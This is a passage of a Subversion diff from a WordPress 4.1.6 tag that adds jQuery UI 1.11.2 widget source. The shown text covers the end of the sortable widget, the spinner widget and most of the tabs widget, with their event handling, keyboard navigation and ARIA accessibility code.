+		// Note: don't do it if the current item is already removed (by a user), or it gets reappended (see #4088)
+		if(!this._noFinalSort && this.currentItem.parent().length) {
+			this.placeholder.before(this.currentItem);
+		}
+		this._noFinalSort = null;
+
+		if(this.helper[0] === this.currentItem[0]) {
+			for(i in this._storedCSS) {
+				if(this._storedCSS[i] === "auto" || this._storedCSS[i] === "static") {
+					this._storedCSS[i] = "";
+				}
+			}
+			this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper");
+		} else {
+			this.currentItem.show();
+		}
+
+		if(this.fromOutside && !noPropagation) {
+			delayedTriggers.push(function(event) { this._trigger("receive", event, this._uiHash(this.fromOutside)); });
+		}
+		if((this.fromOutside || this.domPosition.prev !== this.currentItem.prev().not(".ui-sortable-helper")[0] || this.domPosition.parent !== this.currentItem.parent()[0]) && !noPropagation) {
+			delayedTriggers.push(function(event) { this._trigger("update", event, this._uiHash()); }); //Trigger update callback if the DOM position has changed
+		}
+
+		// Check if the items Container has Changed and trigger appropriate
+		// events.
+		if (this !== this.currentContainer) {
+			if(!noPropagation) {
+				delayedTriggers.push(function(event) { this._trigger("remove", event, this._uiHash()); });
+				delayedTriggers.push((function(c) { return function(event) { c._trigger("receive", event, this._uiHash(this)); };  }).call(this, this.currentContainer));
+				delayedTriggers.push((function(c) { return function(event) { c._trigger("update", event, this._uiHash(this));  }; }).call(this, this.currentContainer));
+			}
+		}
+
+
+		//Post events to containers
+		function delayEvent( type, instance, container ) {
+			return function( event ) {
+				container._trigger( type, event, instance._uiHash( instance ) );
+			};
+		}
+		for (i = this.containers.length - 1; i >= 0; i--){
+			if (!noPropagation) {
+				delayedTriggers.push( delayEvent( "deactivate", this, this.containers[ i ] ) );
+			}
+			if(this.containers[i].containerCache.over) {
+				delayedTriggers.push( delayEvent( "out", this, this.containers[ i ] ) );
+				this.containers[i].containerCache.over = 0;
+			}
+		}
+
+		//Do what was originally in plugins
+		if ( this.storedCursor ) {
+			this.document.find( "body" ).css( "cursor", this.storedCursor );
+			this.storedStylesheet.remove();
+		}
+		if(this._storedOpacity) {
+			this.helper.css("opacity", this._storedOpacity);
+		}
+		if(this._storedZIndex) {
+			this.helper.css("zIndex", this._storedZIndex === "auto" ? "" : this._storedZIndex);
+		}
+
+		this.dragging = false;
+
+		if(!noPropagation) {
+			this._trigger("beforeStop", event, this._uiHash());
+		}
+
+		//$(this.placeholder[0]).remove(); would have been the jQuery way - unfortunately, it unbinds ALL events from the original node!
+		this.placeholder[0].parentNode.removeChild(this.placeholder[0]);
+
+		if ( !this.cancelHelperRemoval ) {
+			if ( this.helper[ 0 ] !== this.currentItem[ 0 ] ) {
+				this.helper.remove();
+			}
+			this.helper = null;
+		}
+
+		if(!noPropagation) {
+			for (i=0; i < delayedTriggers.length; i++) {
+				delayedTriggers[i].call(this, event);
+			} //Trigger all delayed events
+			this._trigger("stop", event, this._uiHash());
+		}
+
+		this.fromOutside = false;
+		return !this.cancelHelperRemoval;
+
+	},
+
+	_trigger: function() {
+		if ($.Widget.prototype._trigger.apply(this, arguments) === false) {
+			this.cancel();
+		}
+	},
+
+	_uiHash: function(_inst) {
+		var inst = _inst || this;
+		return {
+			helper: inst.helper,
+			placeholder: inst.placeholder || $([]),
+			position: inst.position,
+			originalPosition: inst.originalPosition,
+			offset: inst.positionAbs,
+			item: inst.currentItem,
+			sender: _inst ? _inst.element : null
+		};
+	}
+
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/spinner.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/spinner.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/spinner.js	(revision 33402)
@@ -0,0 +1,514 @@
+/*!
+ * jQuery UI Spinner 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/spinner/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget",
+			"./button"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+function spinner_modifier( fn ) {
+	return function() {
+		var previous = this.element.val();
+		fn.apply( this, arguments );
+		this._refresh();
+		if ( previous !== this.element.val() ) {
+			this._trigger( "change" );
+		}
+	};
+}
+
+return $.widget( "ui.spinner", {
+	version: "1.11.2",
+	defaultElement: "<input>",
+	widgetEventPrefix: "spin",
+	options: {
+		culture: null,
+		icons: {
+			down: "ui-icon-triangle-1-s",
+			up: "ui-icon-triangle-1-n"
+		},
+		incremental: true,
+		max: null,
+		min: null,
+		numberFormat: null,
+		page: 10,
+		step: 1,
+
+		change: null,
+		spin: null,
+		start: null,
+		stop: null
+	},
+
+	_create: function() {
+		// handle string values that need to be parsed
+		this._setOption( "max", this.options.max );
+		this._setOption( "min", this.options.min );
+		this._setOption( "step", this.options.step );
+
+		// Only format if there is a value, prevents the field from being marked
+		// as invalid in Firefox, see #9573.
+		if ( this.value() !== "" ) {
+			// Format the value, but don't constrain.
+			this._value( this.element.val(), true );
+		}
+
+		this._draw();
+		this._on( this._events );
+		this._refresh();
+
+		// turning off autocomplete prevents the browser from remembering the
+		// value when navigating through history, so we re-enable autocomplete
+		// if the page is unloaded before the widget is destroyed. #7790
+		this._on( this.window, {
+			beforeunload: function() {
+				this.element.removeAttr( "autocomplete" );
+			}
+		});
+	},
+
+	_getCreateOptions: function() {
+		var options = {},
+			element = this.element;
+
+		$.each( [ "min", "max", "step" ], function( i, option ) {
+			var value = element.attr( option );
+			if ( value !== undefined && value.length ) {
+				options[ option ] = value;
+			}
+		});
+
+		return options;
+	},
+
+	_events: {
+		keydown: function( event ) {
+			if ( this._start( event ) && this._keydown( event ) ) {
+				event.preventDefault();
+			}
+		},
+		keyup: "_stop",
+		focus: function() {
+			this.previous = this.element.val();
+		},
+		blur: function( event ) {
+			if ( this.cancelBlur ) {
+				delete this.cancelBlur;
+				return;
+			}
+
+			this._stop();
+			this._refresh();
+			if ( this.previous !== this.element.val() ) {
+				this._trigger( "change", event );
+			}
+		},
+		mousewheel: function( event, delta ) {
+			if ( !delta ) {
+				return;
+			}
+			if ( !this.spinning && !this._start( event ) ) {
+				return false;
+			}
+
+			this._spin( (delta > 0 ? 1 : -1) * this.options.step, event );
+			clearTimeout( this.mousewheelTimer );
+			this.mousewheelTimer = this._delay(function() {
+				if ( this.spinning ) {
+					this._stop( event );
+				}
+			}, 100 );
+			event.preventDefault();
+		},
+		"mousedown .ui-spinner-button": function( event ) {
+			var previous;
+
+			// We never want the buttons to have focus; whenever the user is
+			// interacting with the spinner, the focus should be on the input.
+			// If the input is focused then this.previous is properly set from
+			// when the input first received focus. If the input is not focused
+			// then we need to set this.previous based on the value before spinning.
+			previous = this.element[0] === this.document[0].activeElement ?
+				this.previous : this.element.val();
+			function checkFocus() {
+				var isActive = this.element[0] === this.document[0].activeElement;
+				if ( !isActive ) {
+					this.element.focus();
+					this.previous = previous;
+					// support: IE
+					// IE sets focus asynchronously, so we need to check if focus
+					// moved off of the input because the user clicked on the button.
+					this._delay(function() {
+						this.previous = previous;
+					});
+				}
+			}
+
+			// ensure focus is on (or stays on) the text field
+			event.preventDefault();
+			checkFocus.call( this );
+
+			// support: IE
+			// IE doesn't prevent moving focus even with event.preventDefault()
+			// so we set a flag to know when we should ignore the blur event
+			// and check (again) if focus moved off of the input.
+			this.cancelBlur = true;
+			this._delay(function() {
+				delete this.cancelBlur;
+				checkFocus.call( this );
+			});
+
+			if ( this._start( event ) === false ) {
+				return;
+			}
+
+			this._repeat( null, $( event.currentTarget ).hasClass( "ui-spinner-up" ) ? 1 : -1, event );
+		},
+		"mouseup .ui-spinner-button": "_stop",
+		"mouseenter .ui-spinner-button": function( event ) {
+			// button will add ui-state-active if mouse was down while mouseleave and kept down
+			if ( !$( event.currentTarget ).hasClass( "ui-state-active" ) ) {
+				return;
+			}
+
+			if ( this._start( event ) === false ) {
+				return false;
+			}
+			this._repeat( null, $( event.currentTarget ).hasClass( "ui-spinner-up" ) ? 1 : -1, event );
+		},
+		// TODO: do we really want to consider this a stop?
+		// shouldn't we just stop the repeater and wait until mouseup before
+		// we trigger the stop event?
+		"mouseleave .ui-spinner-button": "_stop"
+	},
+
+	_draw: function() {
+		var uiSpinner = this.uiSpinner = this.element
+			.addClass( "ui-spinner-input" )
+			.attr( "autocomplete", "off" )
+			.wrap( this._uiSpinnerHtml() )
+			.parent()
+				// add buttons
+				.append( this._buttonHtml() );
+
+		this.element.attr( "role", "spinbutton" );
+
+		// button bindings
+		this.buttons = uiSpinner.find( ".ui-spinner-button" )
+			.attr( "tabIndex", -1 )
+			.button()
+			.removeClass( "ui-corner-all" );
+
+		// IE 6 doesn't understand height: 50% for the buttons
+		// unless the wrapper has an explicit height
+		if ( this.buttons.height() > Math.ceil( uiSpinner.height() * 0.5 ) &&
+				uiSpinner.height() > 0 ) {
+			uiSpinner.height( uiSpinner.height() );
+		}
+
+		// disable spinner if element was already disabled
+		if ( this.options.disabled ) {
+			this.disable();
+		}
+	},
+
+	_keydown: function( event ) {
+		var options = this.options,
+			keyCode = $.ui.keyCode;
+
+		switch ( event.keyCode ) {
+		case keyCode.UP:
+			this._repeat( null, 1, event );
+			return true;
+		case keyCode.DOWN:
+			this._repeat( null, -1, event );
+			return true;
+		case keyCode.PAGE_UP:
+			this._repeat( null, options.page, event );
+			return true;
+		case keyCode.PAGE_DOWN:
+			this._repeat( null, -options.page, event );
+			return true;
+		}
+
+		return false;
+	},
+
+	_uiSpinnerHtml: function() {
+		return "<span class='ui-spinner ui-widget ui-widget-content ui-corner-all'></span>";
+	},
+
+	_buttonHtml: function() {
+		return "" +
+			"<a class='ui-spinner-button ui-spinner-up ui-corner-tr'>" +
+				"<span class='ui-icon " + this.options.icons.up + "'>&#9650;</span>" +
+			"</a>" +
+			"<a class='ui-spinner-button ui-spinner-down ui-corner-br'>" +
+				"<span class='ui-icon " + this.options.icons.down + "'>&#9660;</span>" +
+			"</a>";
+	},
+
+	_start: function( event ) {
+		if ( !this.spinning && this._trigger( "start", event ) === false ) {
+			return false;
+		}
+
+		if ( !this.counter ) {
+			this.counter = 1;
+		}
+		this.spinning = true;
+		return true;
+	},
+
+	_repeat: function( i, steps, event ) {
+		i = i || 500;
+
+		clearTimeout( this.timer );
+		this.timer = this._delay(function() {
+			this._repeat( 40, steps, event );
+		}, i );
+
+		this._spin( steps * this.options.step, event );
+	},
+
+	_spin: function( step, event ) {
+		var value = this.value() || 0;
+
+		if ( !this.counter ) {
+			this.counter = 1;
+		}
+
+		value = this._adjustValue( value + step * this._increment( this.counter ) );
+
+		if ( !this.spinning || this._trigger( "spin", event, { value: value } ) !== false) {
+			this._value( value );
+			this.counter++;
+		}
+	},
+
+	_increment: function( i ) {
+		var incremental = this.options.incremental;
+
+		if ( incremental ) {
+			return $.isFunction( incremental ) ?
+				incremental( i ) :
+				Math.floor( i * i * i / 50000 - i * i / 500 + 17 * i / 200 + 1 );
+		}
+
+		return 1;
+	},
+
+	_precision: function() {
+		var precision = this._precisionOf( this.options.step );
+		if ( this.options.min !== null ) {
+			precision = Math.max( precision, this._precisionOf( this.options.min ) );
+		}
+		return precision;
+	},
+
+	_precisionOf: function( num ) {
+		var str = num.toString(),
+			decimal = str.indexOf( "." );
+		return decimal === -1 ? 0 : str.length - decimal - 1;
+	},
+
+	_adjustValue: function( value ) {
+		var base, aboveMin,
+			options = this.options;
+
+		// make sure we're at a valid step
+		// - find out where we are relative to the base (min or 0)
+		base = options.min !== null ? options.min : 0;
+		aboveMin = value - base;
+		// - round to the nearest step
+		aboveMin = Math.round(aboveMin / options.step) * options.step;
+		// - rounding is based on 0, so adjust back to our base
+		value = base + aboveMin;
+
+		// fix precision from bad JS floating point math
+		value = parseFloat( value.toFixed( this._precision() ) );
+
+		// clamp the value
+		if ( options.max !== null && value > options.max) {
+			return options.max;
+		}
+		if ( options.min !== null && value < options.min ) {
+			return options.min;
+		}
+
+		return value;
+	},
+
+	_stop: function( event ) {
+		if ( !this.spinning ) {
+			return;
+		}
+
+		clearTimeout( this.timer );
+		clearTimeout( this.mousewheelTimer );
+		this.counter = 0;
+		this.spinning = false;
+		this._trigger( "stop", event );
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "culture" || key === "numberFormat" ) {
+			var prevValue = this._parse( this.element.val() );
+			this.options[ key ] = value;
+			this.element.val( this._format( prevValue ) );
+			return;
+		}
+
+		if ( key === "max" || key === "min" || key === "step" ) {
+			if ( typeof value === "string" ) {
+				value = this._parse( value );
+			}
+		}
+		if ( key === "icons" ) {
+			this.buttons.first().find( ".ui-icon" )
+				.removeClass( this.options.icons.up )
+				.addClass( value.up );
+			this.buttons.last().find( ".ui-icon" )
+				.removeClass( this.options.icons.down )
+				.addClass( value.down );
+		}
+
+		this._super( key, value );
+
+		if ( key === "disabled" ) {
+			this.widget().toggleClass( "ui-state-disabled", !!value );
+			this.element.prop( "disabled", !!value );
+			this.buttons.button( value ? "disable" : "enable" );
+		}
+	},
+
+	_setOptions: spinner_modifier(function( options ) {
+		this._super( options );
+	}),
+
+	_parse: function( val ) {
+		if ( typeof val === "string" && val !== "" ) {
+			val = window.Globalize && this.options.numberFormat ?
+				Globalize.parseFloat( val, 10, this.options.culture ) : +val;
+		}
+		return val === "" || isNaN( val ) ? null : val;
+	},
+
+	_format: function( value ) {
+		if ( value === "" ) {
+			return "";
+		}
+		return window.Globalize && this.options.numberFormat ?
+			Globalize.format( value, this.options.numberFormat, this.options.culture ) :
+			value;
+	},
+
+	_refresh: function() {
+		this.element.attr({
+			"aria-valuemin": this.options.min,
+			"aria-valuemax": this.options.max,
+			// TODO: what should we do with values that can't be parsed?
+			"aria-valuenow": this._parse( this.element.val() )
+		});
+	},
+
+	isValid: function() {
+		var value = this.value();
+
+		// null is invalid
+		if ( value === null ) {
+			return false;
+		}
+
+		// if value gets adjusted, it's invalid
+		return value === this._adjustValue( value );
+	},
+
+	// update the value without triggering change
+	_value: function( value, allowAny ) {
+		var parsed;
+		if ( value !== "" ) {
+			parsed = this._parse( value );
+			if ( parsed !== null ) {
+				if ( !allowAny ) {
+					parsed = this._adjustValue( parsed );
+				}
+				value = this._format( parsed );
+			}
+		}
+		this.element.val( value );
+		this._refresh();
+	},
+
+	_destroy: function() {
+		this.element
+			.removeClass( "ui-spinner-input" )
+			.prop( "disabled", false )
+			.removeAttr( "autocomplete" )
+			.removeAttr( "role" )
+			.removeAttr( "aria-valuemin" )
+			.removeAttr( "aria-valuemax" )
+			.removeAttr( "aria-valuenow" );
+		this.uiSpinner.replaceWith( this.element );
+	},
+
+	stepUp: spinner_modifier(function( steps ) {
+		this._stepUp( steps );
+	}),
+	_stepUp: function( steps ) {
+		if ( this._start() ) {
+			this._spin( (steps || 1) * this.options.step );
+			this._stop();
+		}
+	},
+
+	stepDown: spinner_modifier(function( steps ) {
+		this._stepDown( steps );
+	}),
+	_stepDown: function( steps ) {
+		if ( this._start() ) {
+			this._spin( (steps || 1) * -this.options.step );
+			this._stop();
+		}
+	},
+
+	pageUp: spinner_modifier(function( pages ) {
+		this._stepUp( (pages || 1) * this.options.page );
+	}),
+
+	pageDown: spinner_modifier(function( pages ) {
+		this._stepDown( (pages || 1) * this.options.page );
+	}),
+
+	value: function( newVal ) {
+		if ( !arguments.length ) {
+			return this._parse( this.element.val() );
+		}
+		spinner_modifier( this._value ).call( this, newVal );
+	},
+
+	widget: function() {
+		return this.uiSpinner;
+	}
+});
+
+}));
Index: /tags/4.1.6/src/wp-includes/js/jquery/ui/tabs.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/jquery/ui/tabs.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/jquery/ui/tabs.js	(revision 33402)
@@ -0,0 +1,880 @@
+/*!
+ * jQuery UI Tabs 1.11.2
+ * http://jqueryui.com
+ *
+ * Copyright 2014 jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/tabs/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core",
+			"./widget"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+return $.widget( "ui.tabs", {
+	version: "1.11.2",
+	delay: 300,
+	options: {
+		active: null,
+		collapsible: false,
+		event: "click",
+		heightStyle: "content",
+		hide: null,
+		show: null,
+
+		// callbacks
+		activate: null,
+		beforeActivate: null,
+		beforeLoad: null,
+		load: null
+	},
+
+	_isLocal: (function() {
+		var rhash = /#.*$/;
+
+		return function( anchor ) {
+			var anchorUrl, locationUrl;
+
+			// support: IE7
+			// IE7 doesn't normalize the href property when set via script (#9317)
+			anchor = anchor.cloneNode( false );
+
+			anchorUrl = anchor.href.replace( rhash, "" );
+			locationUrl = location.href.replace( rhash, "" );
+
+			// decoding may throw an error if the URL isn't UTF-8 (#9518)
+			try {
+				anchorUrl = decodeURIComponent( anchorUrl );
+			} catch ( error ) {}
+			try {
+				locationUrl = decodeURIComponent( locationUrl );
+			} catch ( error ) {}
+
+			return anchor.hash.length > 1 && anchorUrl === locationUrl;
+		};
+	})(),
+
+	_create: function() {
+		var that = this,
+			options = this.options;
+
+		this.running = false;
+
+		this.element
+			.addClass( "ui-tabs ui-widget ui-widget-content ui-corner-all" )
+			.toggleClass( "ui-tabs-collapsible", options.collapsible );
+
+		this._processTabs();
+		options.active = this._initialActive();
+
+		// Take disabling tabs via class attribute from HTML
+		// into account and update option properly.
+		if ( $.isArray( options.disabled ) ) {
+			options.disabled = $.unique( options.disabled.concat(
+				$.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) {
+					return that.tabs.index( li );
+				})
+			) ).sort();
+		}
+
+		// check for length avoids error when initializing empty list
+		if ( this.options.active !== false && this.anchors.length ) {
+			this.active = this._findActive( options.active );
+		} else {
+			this.active = $();
+		}
+
+		this._refresh();
+
+		if ( this.active.length ) {
+			this.load( options.active );
+		}
+	},
+
+	_initialActive: function() {
+		var active = this.options.active,
+			collapsible = this.options.collapsible,
+			locationHash = location.hash.substring( 1 );
+
+		if ( active === null ) {
+			// check the fragment identifier in the URL
+			if ( locationHash ) {
+				this.tabs.each(function( i, tab ) {
+					if ( $( tab ).attr( "aria-controls" ) === locationHash ) {
+						active = i;
+						return false;
+					}
+				});
+			}
+
+			// check for a tab marked active via a class
+			if ( active === null ) {
+				active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) );
+			}
+
+			// no active tab, set to false
+			if ( active === null || active === -1 ) {
+				active = this.tabs.length ? 0 : false;
+			}
+		}
+
+		// handle numbers: negative, out of range
+		if ( active !== false ) {
+			active = this.tabs.index( this.tabs.eq( active ) );
+			if ( active === -1 ) {
+				active = collapsible ? false : 0;
+			}
+		}
+
+		// don't allow collapsible: false and active: false
+		if ( !collapsible && active === false && this.anchors.length ) {
+			active = 0;
+		}
+
+		return active;
+	},
+
+	_getCreateEventData: function() {
+		return {
+			tab: this.active,
+			panel: !this.active.length ? $() : this._getPanelForTab( this.active )
+		};
+	},
+
+	_tabKeydown: function( event ) {
+		var focusedTab = $( this.document[0].activeElement ).closest( "li" ),
+			selectedIndex = this.tabs.index( focusedTab ),
+			goingForward = true;
+
+		if ( this._handlePageNav( event ) ) {
+			return;
+		}
+
+		switch ( event.keyCode ) {
+			case $.ui.keyCode.RIGHT:
+			case $.ui.keyCode.DOWN:
+				selectedIndex++;
+				break;
+			case $.ui.keyCode.UP:
+			case $.ui.keyCode.LEFT:
+				goingForward = false;
+				selectedIndex--;
+				break;
+			case $.ui.keyCode.END:
+				selectedIndex = this.anchors.length - 1;
+				break;
+			case $.ui.keyCode.HOME:
+				selectedIndex = 0;
+				break;
+			case $.ui.keyCode.SPACE:
+				// Activate only, no collapsing
+				event.preventDefault();
+				clearTimeout( this.activating );
+				this._activate( selectedIndex );
+				return;
+			case $.ui.keyCode.ENTER:
+				// Toggle (cancel delayed activation, allow collapsing)
+				event.preventDefault();
+				clearTimeout( this.activating );
+				// Determine if we should collapse or activate
+				this._activate( selectedIndex === this.options.active ? false : selectedIndex );
+				return;
+			default:
+				return;
+		}
+
+		// Focus the appropriate tab, based on which key was pressed
+		event.preventDefault();
+		clearTimeout( this.activating );
+		selectedIndex = this._focusNextTab( selectedIndex, goingForward );
+
+		// Navigating with control key will prevent automatic activation
+		if ( !event.ctrlKey ) {
+			// Update aria-selected immediately so that AT think the tab is already selected.
+			// Otherwise AT may confuse the user by stating that they need to activate the tab,
+			// but the tab will already be activated by the time the announcement finishes.
+			focusedTab.attr( "aria-selected", "false" );
+			this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" );
+
+			this.activating = this._delay(function() {
+				this.option( "active", selectedIndex );
+			}, this.delay );
+		}
+	},
+
+	_panelKeydown: function( event ) {
+		if ( this._handlePageNav( event ) ) {
+			return;
+		}
+
+		// Ctrl+up moves focus to the current tab
+		if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) {
+			event.preventDefault();
+			this.active.focus();
+		}
+	},
+
+	// Alt+page up/down moves focus to the previous/next tab (and activates)
+	_handlePageNav: function( event ) {
+		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) {
+			this._activate( this._focusNextTab( this.options.active - 1, false ) );
+			return true;
+		}
+		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) {
+			this._activate( this._focusNextTab( this.options.active + 1, true ) );
+			return true;
+		}
+	},
+
+	_findNextTab: function( index, goingForward ) {
+		var lastTabIndex = this.tabs.length - 1;
+
+		function constrain() {
+			if ( index > lastTabIndex ) {
+				index = 0;
+			}
+			if ( index < 0 ) {
+				index = lastTabIndex;
+			}
+			return index;
+		}
+
+		while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) {
+			index = goingForward ? index + 1 : index - 1;
+		}
+
+		return index;
+	},
+
+	_focusNextTab: function( index, goingForward ) {
+		index = this._findNextTab( index, goingForward );
+		this.tabs.eq( index ).focus();
+		return index;
+	},
+
+	_setOption: function( key, value ) {
+		if ( key === "active" ) {
+			// _activate() will handle invalid values and update this.options
+			this._activate( value );
+			return;
+		}
+
+		if ( key === "disabled" ) {
+			// don't use the widget factory's disabled handling
+			this._setupDisabled( value );
+			return;
+		}
+
+		this._super( key, value);
+
+		if ( key === "collapsible" ) {
+			this.element.toggleClass( "ui-tabs-collapsible", value );
+			// Setting collapsible: false while collapsed; open first panel
+			if ( !value && this.options.active === false ) {
+				this._activate( 0 );
+			}
+		}
+
+		if ( key === "event" ) {
+			this._setupEvents( value );
+		}
+
+		if ( key === "heightStyle" ) {
+			this._setupHeightStyle( value );
+		}
+	},
+
+	_sanitizeSelector: function( hash ) {
+		return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : "";
+	},
+
+	refresh: function() {
+		var options = this.options,
+			lis = this.tablist.children( ":has(a[href])" );
+
+		// get disabled tabs from class attribute from HTML
+		// this will get converted to a boolean if needed in _refresh()
+		options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) {
+			return lis.index( tab );
+		});
+
+		this._processTabs();
+
+		// was collapsed or no tabs
+		if ( options.active === false || !this.anchors.length ) {
+			options.active = false;
+			this.active = $();
+		// was active, but active tab is gone
+		} else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) {
+			// all remaining tabs are disabled
+			if ( this.tabs.length === options.disabled.length ) {
+				options.active = false;
+				this.active = $();
+			// activate previous tab
+			} else {
+				this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) );
+			}
+		// was active, active tab still exists
+		} else {
+			// make sure active index is correct
+			options.active = this.tabs.index( this.active );
+		}
+
+		this._refresh();
+	},
+
+	_refresh: function() {
+		this._setupDisabled( this.options.disabled );
+		this._setupEvents( this.options.event );
+		this._setupHeightStyle( this.options.heightStyle );
+
+		this.tabs.not( this.active ).attr({
+			"aria-selected": "false",
+			"aria-expanded": "false",
+			tabIndex: -1
+		});
+		this.panels.not( this._getPanelForTab( this.active ) )
+			.hide()
+			.attr({
+				"aria-hidden": "true"
+			});
+
+		// Make sure one tab is in the tab order
+		if ( !this.active.length ) {
+			this.tabs.eq( 0 ).attr( "tabIndex", 0 );
+		} else {
+			this.active
+				.addClass( "ui-tabs-active ui-state-active" )
+				.attr({
+					"aria-selected": "true",
+					"aria-expanded": "true",
+					tabIndex: 0
+				});
+			this._getPanelForTab( this.active )
+				.show()
+				.attr({
+					"aria-hidden": "false"
+				});
+		}
+	},
+
+	_processTabs: function() {
+		var that = this,
+			prevTabs = this.tabs,
+			prevAnchors = this.anchors,
+			prevPanels = this.panels;
+
+		this.tablist = this._getList()
+			.addClass( "ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all" )
+			.attr( "role", "tablist" )
+
+			// Prevent users from focusing disabled tabs via click
+			.delegate( "> li", "mousedown" + this.eventNamespace, function( event ) {
+				if ( $( this ).is( ".ui-state-disabled" ) ) {
+					event.preventDefault();
+				}
+			})
+
+			// support: IE <9
+			// Preventing the default action in mousedown doesn't prevent IE
+			// from focusing the element, so if the anchor gets focused, blur.
+			// We don't have to worry about focusing the previously focused
+			// element since clicking on a non-focusable element should focus
+			// the body anyway.
+			.delegate( ".ui-tabs-anchor", "focus" + this.eventNamespace, function() {
+				if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) {
+					this.blur();
+				}
+			});
+
+		this.tabs = this.tablist.find( "> li:has(a[href])" )
+			.addClass( "ui-state-default ui-corner-top" )
+			.attr({
+				role: "tab",
+				tabIndex: -1
+			});
+
+		this.anchors = this.tabs.map(function() {
+				return $( "a", this )[ 0 ];
+			})
+			.addClass( "ui-tabs-anchor" )
+			.attr({
+				role: "presentation",
+				tabIndex: -1
+			});
+
+		this.panels = $();
+
+		this.anchors.each(function( i, anchor ) {
+			var selector, panel, panelId,
+				anchorId = $( anchor ).uniqueId().attr( "id" ),
+				tab = $( anchor ).closest( "li" ),
+				originalAriaControls = tab.attr( "aria-controls" );
+
+			// inline tab
+			if ( that._isLocal( anchor ) ) {
+				selector = anchor.hash;
+				panelId = selector.substring( 1 );
+				panel = that.element.find( that._sanitizeSelector( selector ) );
+			// remote tab
+			} else {
+				// If the tab doesn't already have aria-controls,
+				// generate an id by using a throw-away element
+				panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id;
+				selector = "#" + panelId;
+				panel = that.element.find( selector );
+				if ( !panel.length ) {
+					panel = that._createPanel( panelId );
+					panel.insertAfter( that.panels[ i - 1 ] || that.tablist );
+				}
+				panel.attr( "aria-live", "polite" );
+			}
+
+			if ( panel.length) {
+				that.panels = that.panels.add( panel );
+			}
+			if ( originalAriaControls ) {
+				tab.data( "ui-tabs-aria-controls", originalAriaControls );
+			}
+			tab.attr({
+				"aria-controls": panelId,
+				"aria-labelledby": anchorId
+			});
+			panel.attr( "aria-labelledby", anchorId );
+		});
+
+		this.panels
+			.addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" )
+			.attr( "role", "tabpanel" );
+
+		// Avoid memory leaks (#10056)
+		if ( prevTabs ) {
+			this._off( prevTabs.not( this.tabs ) );
+			this._off( prevAnchors.not( this.anchors ) );
+			this._off( prevPanels.not( this.panels ) );
+		}
+	},
+
+	// allow overriding how to find the list for rare usage scenarios (#7715)
+	_getList: function() {
+		return this.tablist || this.element.find( "ol,ul" ).eq( 0 );
+	},
+
+	_createPanel: function( id ) {
+		return $( "<div>" )
+			.attr( "id", id )
+			.addClass( "ui-tabs-panel ui-widget-content ui-corner-bottom" )
+			.data( "ui-tabs-destroy", true );
+	},
+
+	_setupDisabled: function( disabled ) {
+		if ( $.isArray( disabled ) ) {
+			if ( !disabled.length ) {
+				disabled = false;
+			} else if ( disabled.length === this.anchors.length ) {
+				disabled = true;
+			}
+		}
+
+		// disable tabs
+		for ( var i = 0, li; ( li = this.tabs[ i ] ); i++ ) {
+			if ( disabled === true || $.inArray( i, disabled ) !== -1 ) {
+				$( li )
+					.addClass( "ui-state-disabled" )
+					.attr( "aria-disabled", "true" );
+			} else {
+				$( li )
+					.removeClass( "ui-state-disabled" )
+					.removeAttr( "aria-disabled" );
+			}
+		}
+
+		this.options.disabled = disabled;
+	},
+
+	_setupEvents: function( event ) {
+		var events = {};
+		if ( event ) {
+			$.each( event.split(" "), function( index, eventName ) {
+				events[ eventName ] = "_eventHandler";
+			});
+		}
+
+		this._off( this.anchors.add( this.tabs ).add( this.panels ) );
+		// Always prevent the default action, even when disabled
+		this._on( true, this.anchors, {
+			click: function( event ) {
+				event.preventDefault();
+			}
+		});
+		this._on( this.anchors, events );
+		this._on( this.tabs, { keydown: "_tabKeydown" } );
+		this._on( this.panels, { keydown: "_panelKeydown" } );
+
+		this._focusable( this.tabs );
+		this._hoverable( this.tabs );
+	},
+
+	_setupHeightStyle: function( heightStyle ) {
+		var maxHeight,
+			parent = this.element.parent();
+
+		if ( heightStyle === "fill" ) {
+			maxHeight = parent.height();
+			maxHeight -= this.element.outerHeight() - this.element.height();
+
+			this.element.siblings( ":visible" ).each(function() {
+				var elem = $( this ),
+					position = elem.css( "position" );
+
+				if ( position === "absolute" || position === "fixed" ) {
+					return;
+				}
+				maxHeight -= elem.outerHeight( true );
+			});
+
+			this.element.children().not( this.panels ).each(function() {
+				maxHeight -= $( this ).outerHeight( true );
+			});
+
+			this.panels.each(function() {
+				$( this ).height( Math.max( 0, maxHeight -
+					$( this ).innerHeight() + $( this ).height() ) );
